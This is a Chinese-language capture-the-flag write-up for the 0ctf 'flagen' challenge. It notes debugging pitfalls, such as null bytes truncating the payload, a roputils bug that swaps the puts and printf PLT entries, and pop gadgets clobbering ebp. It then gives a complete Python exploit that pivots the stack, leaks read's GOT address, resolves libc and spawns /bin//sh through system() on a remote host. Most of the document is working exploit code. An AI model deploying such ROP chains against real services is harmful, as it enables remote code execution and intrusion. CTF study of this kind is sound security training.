调试过程中发现的问题1:
payload1 = "1\n" + p32(leave) + "h"*77 + "a"*33 + p32(newEbp) + p32(pop1ret) + p32(newDest) + \
rop.call(puts,rop.got('read')) + \
p32(readLine) + p32(pop2ret) + p32(newEbp) + p32(count) + p32(leave) + "\n4\n"
这里的p32(pop2ret),就有可能破坏掉ebp,因为pop pop ret 中间大都有一条pop ebp,如果ebp此时被破坏了,不再是事先设定好的newEbp,那么紧接着的leave ret指令也就是失去了效果。
调试过程中发现的问题2:
如果设置count的大小为 0x20,这是打印看一下print payload1.encode(‘hex’) 你会发现payload中出现了00,势必破坏了payload 所以要写成这样count = 0x01010101
调试过程中发现的问题3:
readLine = 0x080486cb # int read_str(char *a1, int length) 如果让readLine =rop.plt(‘read’)可以吗?这里read函数需要3个参数,第一个是0,这样在payload中不可避免的出现了00,会导致在leetify函数中出现截断现象,rop不能继续进行下去,所以这里只能用readLine = 0x080486cb
for ( var_110 = str; *var_110; ++var_110 ) {……}
调试过程中发现的问题4:
from roputils import * 发现该模块的一个bug,当你使用rop.plt(‘puts’)得到的却是printfPlt,相反rop.plt(‘printf’)确是putsPlt 通过调试roputils的代码,发现它在生成plt字典的方法就有问题,没有考虑到本题的特殊情况。可以用readelf -W -a flagen查看一下, 两个位置正好颠倒一下。
Relocation section '.rel.plt' at offset 0x3f8 contains 13 entries: Offset Info Type Sym. Value Symbol's Name 0804b00c 00000107 R_386_JUMP_SLOT 00000000 read **0804b010 00000807 R_386_JUMP_SLOT 00000000 puts** 0804b014 00000307 R_386_JUMP_SLOT 00000000 free 0804b018 00000407 R_386_JUMP_SLOT 00000000 alarm 0804b01c 00000507 R_386_JUMP_SLOT 00000000 __stack_chk_fail 0804b020 00000607 R_386_JUMP_SLOT 00000000 strcpy 0804b024 00000707 R_386_JUMP_SLOT 00000000 malloc **0804b028 00000207 R_386_JUMP_SLOT 00000000 printf** 0804b02c 00000907 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804b030 00000a07 R_386_JUMP_SLOT 00000000 __libc_start_main 0804b034 00000b07 R_386_JUMP_SLOT 00000000 setvbuf 0804b038 00000c07 R_386_JUMP_SLOT 00000000 snprintf 0804b03c 00000d07 R_386_JUMP_SLOT 00000000 atoi Symbol table '.dynsym' contains 17 entries: Num: Value Size Type Bind Vis Ndx Name 0: 00000000 0 NOTYPE LOCAL DEFAULT UND 1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2) ** 2: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)** 3: 00000000 0 FUNC GLOBAL DEFAULT UND free@GLIBC_2.0 (2) 4: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@GLIBC_2.0 (2) 5: 00000000 0 FUNC GLOBAL DEFAULT UND __stack_chk_fail@GLIBC_2.4 (3) 6: 00000000 0 FUNC GLOBAL DEFAULT UND strcpy@GLIBC_2.0 (2) 7: 00000000 0 FUNC GLOBAL DEFAULT UND malloc@GLIBC_2.0 (2) ** 8: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)** 9: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__ 10: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2) 11: 00000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.0 (2) 12: 00000000 0 FUNC GLOBAL DEFAULT UND snprintf@GLIBC_2.0 (2) 13: 00000000 0 FUNC GLOBAL DEFAULT UND atoi@GLIBC_2.0 (2) ....
考虑到这个,以后就不能完全相信模块的这个函数调用。有的时候pop2ret=rop.gadget(‘pop’, n=3)这种指令得到的地址中间可能会出现00,从而发生截断现象。所以虽然方便,但还是打印出来看一下为好。
from roputils import *
rop=ROP('/root/Desktop/0ctf/flagen')
newEbp =rop.section('.bss')+0x400
leave =rop.gadget('leave') #0x080485d8 leave; ret
newDest =rop.got('__stack_chk_fail') #0x0804b01c
popRet=rop.gadget('pop', n=1) #pop ebx; ret
puts = 0x08048510 #puts@plt
readLine = 0x080486cb
count = 0x01010101
sh = newEbp + 4*4
#ip='127.0.0.1' socat TCP-LISTEN:5149,reuseaddr,fork EXEC:/xxx/flagen
ip = '202.112.26.106'
conn = Proc(host=ip, port=5149)
#conn=Proc('/root/Desktop/0ctf/flagen')
#0x10c=4*9+77*3+1
payload1 = "1\n" + p32(leave) + "h"*77 + "a"*33 + p32(newEbp) + p32(popRet) + p32(newDest) + \
rop.call(puts,rop.got('read')) + \
p32(readLine) + p32(leave) + p32(newEbp) + p32(count) + "\n4\n"
print payload1.encode('hex')
conn.read_until("Your choice: ")
conn.write(payload1)
conn.read_until("Your choice: ")
readAddr = conn.read_p32()
print(hex(readAddr))
libc=ROP('/root/Desktop/0ctf/libc.so.6')
#libc=ROP('/lib32/libc.so.6')
libc.set_base(readAddr, 'read')
conn.write(p32(0xdeadbeef) + p32(libc.addr('system')) + p32(popRet) + p32(sh) + '/bin//sh\n' )
conn.wait(0)